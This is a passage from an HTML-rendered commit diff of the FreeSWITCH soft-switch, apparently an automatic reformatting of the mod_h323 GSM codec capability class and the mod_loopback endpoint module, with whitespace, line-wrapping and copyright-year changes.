</span><del>-class BaseGSM0610Cap : public H323AudioCapability
-{
</del><ins>+class BaseGSM0610Cap:public H323AudioCapability {
</ins><span class="cx">         PCLASSINFO(BaseGSM0610Cap, H323AudioCapability);
</span><span class="cx"> 
</span><del>-public:
-        
-        BaseGSM0610Cap(const char* fname, unsigned type = H245_AudioCapability::e_gsmFullRate)
-        : H323AudioCapability(24,2), m_name(fname), m_type(type),m_comfortNoise(0),m_scrambled(0)
-        { }
-        
-        virtual PObject * Clone() const{
-                return new BaseGSM0610Cap(*this);
-        }
</del><ins>+  public:
</ins><span class="cx"> 
</span><del>-        virtual H323Codec* CreateCodec(H323Codec::Direction direction) const{
</del><ins>+        BaseGSM0610Cap(const char *fname, unsigned type = H245_AudioCapability::e_gsmFullRate)
+  :        H323AudioCapability(24, 2), m_name(fname), m_type(type), m_comfortNoise(0), m_scrambled(0) {
+        } virtual PObject *Clone() const {
+                return new BaseGSM0610Cap(*this);
+        } virtual H323Codec *CreateCodec(H323Codec::Direction direction) const {
</ins><span class="cx">                 return 0;
</span><del>-        }
-
-        virtual unsigned GetSubType() const{
</del><ins>+        } virtual unsigned GetSubType() const {
</ins><span class="cx">                 return H245_AudioCapability::e_gsmFullRate;
</span><del>-        }
-
-        virtual PString GetFormatName() const{
</del><ins>+        } virtual PString GetFormatName() const {
</ins><span class="cx">                 return m_name;
</span><del>-        }
-
-        virtual bool OnSendingPDU(H245_AudioCapability &amp; pdu, unsigned packetSize) const{
</del><ins>+        } virtual bool OnSendingPDU(H245_AudioCapability &amp; pdu, unsigned packetSize) const {
</ins><span class="cx">                 pdu.SetTag(H245_AudioCapability::e_gsmFullRate);
</span><span class="cx">                 H245_GSMAudioCapability &amp; gsm = pdu;
</span><span class="cx">                 gsm.m_audioUnitSize = packetSize * 33;
</span><span class="cx">                 gsm.m_comfortNoise = m_comfortNoise;
</span><span class="cx">                 gsm.m_scrambled = m_scrambled;
</span><span class="cx">                 return true;
</span><del>-        }
-        
-        virtual bool OnReceivedPDU(const H245_AudioCapability &amp; pdu, unsigned &amp; packetSize){
</del><ins>+        } virtual bool OnReceivedPDU(const H245_AudioCapability &amp; pdu, unsigned &amp;packetSize) {
</ins><span class="cx">                 PTRACE(2, &quot;mod_h323\t==============&gt;BaseGSM0610Cap::OnReceivedPDU&quot;);
</span><span class="cx">                 if (pdu.GetTag() != H245_AudioCapability::e_gsmFullRate)
</span><span class="cx">                         return false;
</span><span class="lines">@@ -440,8 +386,8 @@
</span><span class="cx">                 return true;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-protected:
-        const char* m_name;
</del><ins>+  protected:
+        const char *m_name;
</ins><span class="cx">         int m_comfortNoise;
</span><span class="cx">         int m_scrambled;
</span><span class="cx">         unsigned m_type;
</span><span class="lines">@@ -458,15 +404,15 @@
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-DEFINE_H323_CAPAB(FS_G7231_5,BaseG7231Capab,false,OPAL_G7231_5k3&quot;{sw}&quot;)
-DEFINE_H323_CAPAB(FS_G7231_6,BaseG7231Capab,false,OPAL_G7231_6k3&quot;{sw}&quot;)
-DEFINE_H323_CAPAB(FS_G7231A_5,BaseG7231Capab,true,OPAL_G7231A_5k3&quot;{sw}&quot;)
-DEFINE_H323_CAPAB(FS_G7231A_6,BaseG7231Capab,true,OPAL_G7231A_6k3&quot;{sw}&quot;)
-DEFINE_H323_CAPAB(FS_G729,BaseG729Capab,H245_AudioCapability::e_g729,OPAL_G729&quot;{sw}&quot;)
-DEFINE_H323_CAPAB(FS_G729A,BaseG729Capab,H245_AudioCapability::e_g729AnnexA,OPAL_G729A&quot;{sw}&quot;)
-DEFINE_H323_CAPAB(FS_G729B,BaseG729Capab,H245_AudioCapability::e_g729wAnnexB,OPAL_G729B&quot;{sw}&quot;)
-DEFINE_H323_CAPAB(FS_G729AB,BaseG729Capab,H245_AudioCapability::e_g729AnnexAwAnnexB,OPAL_G729AB&quot;{sw}&quot;)
-DEFINE_H323_CAPAB(FS_GSM,BaseGSM0610Cap,H245_AudioCapability::e_gsmFullRate,OPAL_GSM0610&quot;{sw}&quot;)
</del><ins>+DEFINE_H323_CAPAB(FS_G7231_5, BaseG7231Capab, false, OPAL_G7231_5k3 &quot;{sw}&quot;)
+        DEFINE_H323_CAPAB(FS_G7231_6, BaseG7231Capab, false, OPAL_G7231_6k3 &quot;{sw}&quot;)
+        DEFINE_H323_CAPAB(FS_G7231A_5, BaseG7231Capab, true, OPAL_G7231A_5k3 &quot;{sw}&quot;)
+        DEFINE_H323_CAPAB(FS_G7231A_6, BaseG7231Capab, true, OPAL_G7231A_6k3 &quot;{sw}&quot;)
+        DEFINE_H323_CAPAB(FS_G729, BaseG729Capab, H245_AudioCapability::e_g729, OPAL_G729 &quot;{sw}&quot;)
+        DEFINE_H323_CAPAB(FS_G729A, BaseG729Capab, H245_AudioCapability::e_g729AnnexA, OPAL_G729A &quot;{sw}&quot;)
+        DEFINE_H323_CAPAB(FS_G729B, BaseG729Capab, H245_AudioCapability::e_g729wAnnexB, OPAL_G729B &quot;{sw}&quot;)
+        DEFINE_H323_CAPAB(FS_G729AB, BaseG729Capab, H245_AudioCapability::e_g729AnnexAwAnnexB, OPAL_G729AB &quot;{sw}&quot;)
+        DEFINE_H323_CAPAB(FS_GSM, BaseGSM0610Cap, H245_AudioCapability::e_gsmFullRate, OPAL_GSM0610 &quot;{sw}&quot;)
</ins><span class="cx"> 
</span><span class="cx"> 
</span><del>-static FSProcess *h323_process = NULL;
</del><ins>+         static FSProcess *h323_process = NULL;
</ins></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_loopbackmod_loopbackc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_loopback/mod_loopback.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_loopback/mod_loopback.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_loopback/mod_loopback.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -97,7 +97,8 @@
</span><span class="cx"> static switch_status_t channel_on_soft_execute(switch_core_session_t *session);
</span><span class="cx"> static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
</span><span class="cx">                                                                                                         switch_caller_profile_t *outbound_profile,
</span><del>-                                                                                                        switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
</del><ins>+                                                                                                        switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+                                                                                                        switch_call_cause_t *cancel_cause);
</ins><span class="cx"> static switch_status_t channel_read_frame(switch_core_session_t *session, switch_frame_t **frame, switch_io_flag_t flags, int stream_id);
</span><span class="cx"> static switch_status_t channel_write_frame(switch_core_session_t *session, switch_frame_t *frame, switch_io_flag_t flags, int stream_id);
</span><span class="cx"> static switch_status_t channel_kill_channel(switch_core_session_t *session, int sig);
</span><span class="lines">@@ -116,7 +117,7 @@
</span><span class="cx">                 rate = codec-&gt;implementation-&gt;samples_per_second;
</span><span class="cx">                 interval = codec-&gt;implementation-&gt;microseconds_per_packet / 1000;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_core_codec_ready(&amp;tech_pvt-&gt;read_codec)) {
</span><span class="cx">                 switch_core_codec_destroy(&amp;tech_pvt-&gt;read_codec);
</span><span class="cx">         }
</span><span class="lines">@@ -125,17 +126,13 @@
</span><span class="cx">                 switch_core_codec_destroy(&amp;tech_pvt-&gt;write_codec);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s setup codec %s/%d/%d\n&quot;, switch_channel_get_name(channel), iananame, rate, interval);
-        
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s setup codec %s/%d/%d\n&quot;, switch_channel_get_name(channel), iananame, rate,
+                                          interval);
+
</ins><span class="cx">         status = switch_core_codec_init(&amp;tech_pvt-&gt;read_codec,
</span><span class="cx">                                                                         iananame,
</span><span class="cx">                                                                         NULL,
</span><del>-                                                                        rate,
-                                                                        interval,
-                                                                        1, 
-                                                                        SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE,
-                                                                        NULL, 
-                                                                        switch_core_session_get_pool(session));
</del><ins>+                                                                        rate, interval, 1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL, switch_core_session_get_pool(session));
</ins><span class="cx"> 
</span><span class="cx">         if (status != SWITCH_STATUS_SUCCESS || !tech_pvt-&gt;read_codec.implementation || !switch_core_codec_ready(&amp;tech_pvt-&gt;read_codec)) {
</span><span class="cx">                 goto end;
</span><span class="lines">@@ -144,14 +141,9 @@
</span><span class="cx">         status = switch_core_codec_init(&amp;tech_pvt-&gt;write_codec,
</span><span class="cx">                                                                         iananame,
</span><span class="cx">                                                                         NULL,
</span><del>-                                                                        rate,
-                                                                        interval,
-                                                                        1, 
-                                                                        SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE,
-                                                                        NULL, 
-                                                                        switch_core_session_get_pool(session));
-        
</del><ins>+                                                                        rate, interval, 1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL, switch_core_session_get_pool(session));
</ins><span class="cx"> 
</span><ins>+
</ins><span class="cx">         if (status != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_core_codec_destroy(&amp;tech_pvt-&gt;read_codec);
</span><span class="cx">                 goto end;
</span><span class="lines">@@ -160,31 +152,29 @@
</span><span class="cx">         tech_pvt-&gt;read_frame.data = tech_pvt-&gt;databuf;
</span><span class="cx">         tech_pvt-&gt;read_frame.buflen = sizeof(tech_pvt-&gt;databuf);
</span><span class="cx">         tech_pvt-&gt;read_frame.codec = &amp;tech_pvt-&gt;read_codec;
</span><del>-        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">         tech_pvt-&gt;cng_frame.data = tech_pvt-&gt;cng_databuf;
</span><span class="cx">         tech_pvt-&gt;cng_frame.buflen = sizeof(tech_pvt-&gt;cng_databuf);
</span><span class="cx">         //switch_set_flag((&amp;tech_pvt-&gt;cng_frame), SFF_CNG);
</span><span class="cx">         tech_pvt-&gt;cng_frame.datalen = 2;
</span><span class="cx"> 
</span><del>-        tech_pvt-&gt;bowout_frame_count = (tech_pvt-&gt;read_codec.implementation-&gt;actual_samples_per_second / 
-                                                         tech_pvt-&gt;read_codec.implementation-&gt;samples_per_packet) * 3;
</del><ins>+        tech_pvt-&gt;bowout_frame_count = (tech_pvt-&gt;read_codec.implementation-&gt;actual_samples_per_second /
+                                                                        tech_pvt-&gt;read_codec.implementation-&gt;samples_per_packet) * 3;
</ins><span class="cx"> 
</span><span class="cx">         switch_core_session_set_read_codec(session, &amp;tech_pvt-&gt;read_codec);
</span><span class="cx">         switch_core_session_set_write_codec(session, &amp;tech_pvt-&gt;write_codec);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (tech_pvt-&gt;flag_mutex) {
</span><span class="cx">                 switch_core_timer_destroy(&amp;tech_pvt-&gt;timer);
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         read_impl = tech_pvt-&gt;read_codec.implementation;
</span><span class="cx"> 
</span><del>-        switch_core_timer_init(&amp;tech_pvt-&gt;timer, &quot;soft&quot;, 
-                                                   read_impl-&gt;microseconds_per_packet / 1000, 
-                                                   read_impl-&gt;samples_per_packet *4,
-                                                   switch_core_session_get_pool(session));
-        
</del><ins>+        switch_core_timer_init(&amp;tech_pvt-&gt;timer, &quot;soft&quot;,
+                                                   read_impl-&gt;microseconds_per_packet / 1000, read_impl-&gt;samples_per_packet * 4, switch_core_session_get_pool(session));
</ins><span class="cx"> 
</span><ins>+
</ins><span class="cx">         if (!tech_pvt-&gt;flag_mutex) {
</span><span class="cx">                 switch_mutex_init(&amp;tech_pvt-&gt;flag_mutex, SWITCH_MUTEX_NESTED, switch_core_session_get_pool(session));
</span><span class="cx">                 switch_mutex_init(&amp;tech_pvt-&gt;mutex, SWITCH_MUTEX_NESTED, switch_core_session_get_pool(session));
</span><span class="lines">@@ -194,7 +184,7 @@
</span><span class="cx">                 tech_pvt-&gt;channel = switch_core_session_get_channel(session);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx"> 
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="lines">@@ -217,22 +207,22 @@
</span><span class="cx"> 
</span><span class="cx">         channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_assert(channel != NULL);
</span><del>-        
</del><span class="cx"> 
</span><span class="cx"> 
</span><ins>+
</ins><span class="cx">         if (switch_test_flag(tech_pvt, TFLAG_OUTBOUND) &amp;&amp; !switch_test_flag(tech_pvt, TFLAG_BLEG)) {
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!(b_session = switch_core_session_request(loopback_endpoint_interface, SWITCH_CALL_DIRECTION_INBOUND, NULL))) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, &quot;Failure.\n&quot;);
</span><span class="cx">                         goto end;
</span><span class="cx">                 }
</span><del>-        
</del><ins>+
</ins><span class="cx">                 if (switch_core_session_read_lock(b_session) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, &quot;Failure.\n&quot;);
</span><span class="cx">                         switch_core_session_destroy(&amp;b_session);
</span><span class="cx">                         goto end;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_core_session_add_stream(b_session, NULL);
</span><span class="cx">                 b_channel = switch_core_session_get_channel(b_session);
</span><span class="cx">                 b_tech_pvt = (private_t *) switch_core_session_alloc(b_session, sizeof(*b_tech_pvt));
</span><span class="lines">@@ -244,7 +234,7 @@
</span><span class="cx">                         switch_core_session_destroy(&amp;b_session);
</span><span class="cx">                         goto end;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 caller_profile = switch_caller_profile_clone(b_session, tech_pvt-&gt;caller_profile);
</span><span class="cx">                 caller_profile-&gt;source = switch_core_strdup(caller_profile-&gt;pool, modname);
</span><span class="cx">                 switch_channel_set_caller_profile(b_channel, caller_profile);
</span><span class="lines">@@ -260,16 +250,16 @@
</span><span class="cx">                 //b_tech_pvt-&gt;other_channel = channel;
</span><span class="cx"> 
</span><span class="cx">                 b_tech_pvt-&gt;other_uuid = switch_core_session_strdup(b_session, switch_core_session_get_uuid(session));
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_set_flag_locked(tech_pvt, TFLAG_LINKED);
</span><span class="cx">                 switch_set_flag_locked(b_tech_pvt, TFLAG_LINKED);
</span><span class="cx">                 switch_set_flag_locked(b_tech_pvt, TFLAG_BLEG);
</span><span class="cx"> 
</span><del>-                
-                switch_channel_set_flag(channel, CF_ACCEPT_CNG);        
</del><ins>+
+                switch_channel_set_flag(channel, CF_ACCEPT_CNG);
</ins><span class="cx">                 //switch_ivr_transfer_variable(session, tech_pvt-&gt;other_session, &quot;process_cdr&quot;);
</span><span class="cx">                 switch_ivr_transfer_variable(session, tech_pvt-&gt;other_session, NULL);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_channel_set_variable(channel, &quot;other_loopback_leg_uuid&quot;, switch_channel_get_uuid(b_channel));
</span><span class="cx">                 switch_channel_set_variable(b_channel, &quot;other_loopback_leg_uuid&quot;, switch_channel_get_uuid(channel));
</span><span class="cx"> 
</span><span class="lines">@@ -279,10 +269,10 @@
</span><span class="cx">                         goto end;
</span><span class="cx">                 }
</span><span class="cx">         } else if ((tech_pvt-&gt;other_session = switch_core_session_locate(tech_pvt-&gt;other_uuid))) {
</span><del>-                tech_pvt-&gt;other_tech_pvt =         switch_core_session_get_private(tech_pvt-&gt;other_session);
</del><ins>+                tech_pvt-&gt;other_tech_pvt = switch_core_session_get_private(tech_pvt-&gt;other_session);
</ins><span class="cx">                 tech_pvt-&gt;other_channel = switch_core_session_get_channel(tech_pvt-&gt;other_session);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!tech_pvt-&gt;other_session) {
</span><span class="cx">                 switch_clear_flag_locked(tech_pvt, TFLAG_LINKED);
</span><span class="cx">                 switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
</span><span class="lines">@@ -292,7 +282,7 @@
</span><span class="cx">         switch_channel_set_variable(channel, &quot;loopback_leg&quot;, switch_test_flag(tech_pvt, TFLAG_BLEG) ? &quot;B&quot; : &quot;A&quot;);
</span><span class="cx">         switch_channel_set_state(channel, CS_ROUTING);
</span><span class="cx"> 
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx"> 
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -301,7 +291,7 @@
</span><span class="cx"> {
</span><span class="cx">         switch_clear_flag_locked(tech_pvt, TFLAG_WRITE);
</span><span class="cx">         switch_set_flag_locked(tech_pvt, TFLAG_CNG);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_lock(tech_pvt-&gt;mutex);
</span><span class="cx">         if (tech_pvt-&gt;other_tech_pvt) {
</span><span class="cx">                 switch_clear_flag_locked(tech_pvt-&gt;other_tech_pvt, TFLAG_WRITE);
</span><span class="lines">@@ -333,14 +323,14 @@
</span><span class="cx">                 extension = switch_caller_extension_new(session, app, app);
</span><span class="cx">                 switch_caller_extension_add_application(session, extension, &quot;pre_answer&quot;, NULL);
</span><span class="cx">                 switch_caller_extension_add_application(session, extension, app, arg);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_channel_set_caller_extension(channel, extension);
</span><span class="cx">                 switch_channel_set_state(channel, CS_EXECUTE);
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -356,7 +346,7 @@
</span><span class="cx">         assert(tech_pvt != NULL);
</span><span class="cx"> 
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s CHANNEL EXECUTE\n&quot;, switch_channel_get_name(channel));
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -373,11 +363,11 @@
</span><span class="cx"> 
</span><span class="cx">         if (tech_pvt) {
</span><span class="cx">                 switch_core_timer_destroy(&amp;tech_pvt-&gt;timer);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_core_codec_ready(&amp;tech_pvt-&gt;read_codec)) {
</span><span class="cx">                         switch_core_codec_destroy(&amp;tech_pvt-&gt;read_codec);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_core_codec_ready(&amp;tech_pvt-&gt;write_codec)) {
</span><span class="cx">                         switch_core_codec_destroy(&amp;tech_pvt-&gt;write_codec);
</span><span class="cx">                 }
</span><span class="lines">@@ -416,7 +406,7 @@
</span><span class="cx">                 switch_clear_flag_locked(tech_pvt-&gt;other_tech_pvt, TFLAG_LINKED);
</span><span class="cx">                 tech_pvt-&gt;other_tech_pvt = NULL;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (tech_pvt-&gt;other_session) {
</span><span class="cx">                 switch_channel_hangup(tech_pvt-&gt;other_channel, switch_channel_get_cause(channel));
</span><span class="cx">                 switch_core_session_rwunlock(tech_pvt-&gt;other_session);
</span><span class="lines">@@ -424,7 +414,7 @@
</span><span class="cx">                 tech_pvt-&gt;other_session = NULL;
</span><span class="cx">         }
</span><span class="cx">         switch_mutex_unlock(tech_pvt-&gt;mutex);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -494,7 +484,8 @@
</span><span class="cx">         switch_assert(tech_pvt != NULL);
</span><span class="cx"> 
</span><span class="cx">         do_reset(tech_pvt);
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s RESET\n&quot;, switch_channel_get_name(switch_core_session_get_channel(session)));
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s RESET\n&quot;,
+                                          switch_channel_get_name(switch_core_session_get_channel(session)));
</ins><span class="cx"> 
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -503,7 +494,8 @@
</span><span class="cx"> {
</span><span class="cx">         switch_assert(switch_core_session_get_private(session));
</span><span class="cx"> 
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s HIBERNATE\n&quot;, switch_channel_get_name(switch_core_session_get_channel(session)));
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s HIBERNATE\n&quot;,
+                                          switch_channel_get_name(switch_core_session_get_channel(session)));
</ins><span class="cx"> 
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -555,15 +547,15 @@
</span><span class="cx">         if (!switch_test_flag(tech_pvt, TFLAG_LINKED)) {
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         *frame = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!switch_channel_ready(channel)) {
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         switch_core_timer_next(&amp;tech_pvt-&gt;timer);
</span><del>-        
</del><ins>+
</ins><span class="cx">         mutex = tech_pvt-&gt;mutex;
</span><span class="cx">         switch_mutex_lock(mutex);
</span><span class="cx"> 
</span><span class="lines">@@ -578,7 +570,7 @@
</span><span class="cx">         } else {
</span><span class="cx">                 switch_set_flag(tech_pvt, TFLAG_CNG);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_test_flag(tech_pvt, TFLAG_CNG)) {
</span><span class="cx">                 unsigned char data[SWITCH_RECOMMENDED_BUFFER_SIZE];
</span><span class="cx">                 uint32_t flag = 0;
</span><span class="lines">@@ -598,28 +590,24 @@
</span><span class="cx">                                                                                                          data,
</span><span class="cx">                                                                                                          tech_pvt-&gt;read_codec.implementation-&gt;decoded_bytes_per_packet,
</span><span class="cx">                                                                                                          tech_pvt-&gt;read_codec.implementation-&gt;actual_samples_per_second,
</span><del>-                                                                                                         tech_pvt-&gt;cng_frame.data,
-                                                                                                         &amp;tech_pvt-&gt;cng_frame.datalen,                                                                                          
-                                                                                                         &amp;rate,
-                                                                                                         &amp;flag);
</del><ins>+                                                                                                         tech_pvt-&gt;cng_frame.data, &amp;tech_pvt-&gt;cng_frame.datalen, &amp;rate, &amp;flag);
</ins><span class="cx">                         if (encode_status != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
</span><span class="cx">                         }
</span><del>-                                                                                                         
-                }
</del><span class="cx"> 
</span><ins>+                }
</ins><span class="cx">                 //switch_set_flag((&amp;tech_pvt-&gt;cng_frame), SFF_CNG);
</span><span class="cx">                 switch_clear_flag_locked(tech_pvt, TFLAG_CNG);
</span><span class="cx">         }
</span><del>-        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">         if (*frame) {
</span><span class="cx">                 status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         } else {
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><del>-        }        
</del><ins>+        }
</ins><span class="cx"> 
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx"> 
</span><span class="cx">         if (mutex) {
</span><span class="cx">                 switch_mutex_unlock(mutex);
</span><span class="lines">@@ -633,7 +621,7 @@
</span><span class="cx">         switch_channel_t *channel = NULL;
</span><span class="cx">         private_t *tech_pvt = NULL;
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><del>-        
</del><ins>+
</ins><span class="cx">         channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_assert(channel != NULL);
</span><span class="cx"> 
</span><span class="lines">@@ -645,16 +633,14 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         switch_mutex_lock(tech_pvt-&gt;mutex);
</span><del>-        if (!switch_test_flag(tech_pvt, TFLAG_BOWOUT) &amp;&amp; 
-                tech_pvt-&gt;other_tech_pvt &amp;&amp; 
-                switch_test_flag(tech_pvt, TFLAG_BRIDGE) &amp;&amp; 
-                switch_test_flag(tech_pvt-&gt;other_tech_pvt, TFLAG_BRIDGE) &amp;&amp; 
</del><ins>+        if (!switch_test_flag(tech_pvt, TFLAG_BOWOUT) &amp;&amp;
+                tech_pvt-&gt;other_tech_pvt &amp;&amp;
+                switch_test_flag(tech_pvt, TFLAG_BRIDGE) &amp;&amp;
+                switch_test_flag(tech_pvt-&gt;other_tech_pvt, TFLAG_BRIDGE) &amp;&amp;
</ins><span class="cx">                 switch_channel_test_flag(tech_pvt-&gt;channel, CF_BRIDGED) &amp;&amp;
</span><span class="cx">                 switch_channel_test_flag(tech_pvt-&gt;other_channel, CF_BRIDGED) &amp;&amp;
</span><span class="cx">                 switch_channel_test_flag(tech_pvt-&gt;channel, CF_ANSWERED) &amp;&amp;
</span><del>-                switch_channel_test_flag(tech_pvt-&gt;other_channel, CF_ANSWERED) &amp;&amp;
-                !--tech_pvt-&gt;bowout_frame_count &lt;= 0
-                ) {
</del><ins>+                switch_channel_test_flag(tech_pvt-&gt;other_channel, CF_ANSWERED) &amp;&amp; !--tech_pvt-&gt;bowout_frame_count &lt;= 0) {
</ins><span class="cx">                 const char *a_uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE);
</span><span class="cx">                 const char *b_uuid = switch_channel_get_variable(tech_pvt-&gt;other_channel, SWITCH_SIGNAL_BOND_VARIABLE);
</span><span class="cx">                 const char *vetoa, *vetob;
</span><span class="lines">@@ -664,15 +650,15 @@
</span><span class="cx"> 
</span><span class="cx">                 vetoa = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;loopback_bowout&quot;);
</span><span class="cx">                 vetob = switch_channel_get_variable(tech_pvt-&gt;other_tech_pvt-&gt;channel, &quot;loopback_bowout&quot;);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if ((!vetoa || switch_true(vetoa)) &amp;&amp; (!vetob || switch_true(vetob))) {
</span><span class="cx">                         switch_clear_flag_locked(tech_pvt, TFLAG_WRITE);
</span><span class="cx">                         switch_clear_flag_locked(tech_pvt-&gt;other_tech_pvt, TFLAG_WRITE);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (a_uuid &amp;&amp; b_uuid) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, 
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
</ins><span class="cx">                                                                   &quot;%s detected bridge on both ends, attempting direct connection.\n&quot;, switch_channel_get_name(channel));
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 /* channel_masquerade eat your heart out....... */
</span><span class="cx">                                 switch_ivr_uuid_bridge(a_uuid, b_uuid);
</span><span class="cx">                                 switch_mutex_unlock(tech_pvt-&gt;mutex);
</span><span class="lines">@@ -681,7 +667,7 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if (switch_test_flag(tech_pvt, TFLAG_LINKED) &amp;&amp; tech_pvt-&gt;other_tech_pvt) { 
</del><ins>+        if (switch_test_flag(tech_pvt, TFLAG_LINKED) &amp;&amp; tech_pvt-&gt;other_tech_pvt) {
</ins><span class="cx">                 switch_frame_t *clone;
</span><span class="cx"> 
</span><span class="cx">                 if (frame-&gt;codec-&gt;implementation != tech_pvt-&gt;write_codec.implementation) {
</span><span class="lines">@@ -701,7 +687,7 @@
</span><span class="cx"> 
</span><span class="cx">                         switch_set_flag_locked(tech_pvt-&gt;other_tech_pvt, TFLAG_WRITE);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -720,7 +706,7 @@
</span><span class="cx"> 
</span><span class="cx">         tech_pvt = switch_core_session_get_private(session);
</span><span class="cx">         switch_assert(tech_pvt != NULL);
</span><del>-        
</del><ins>+
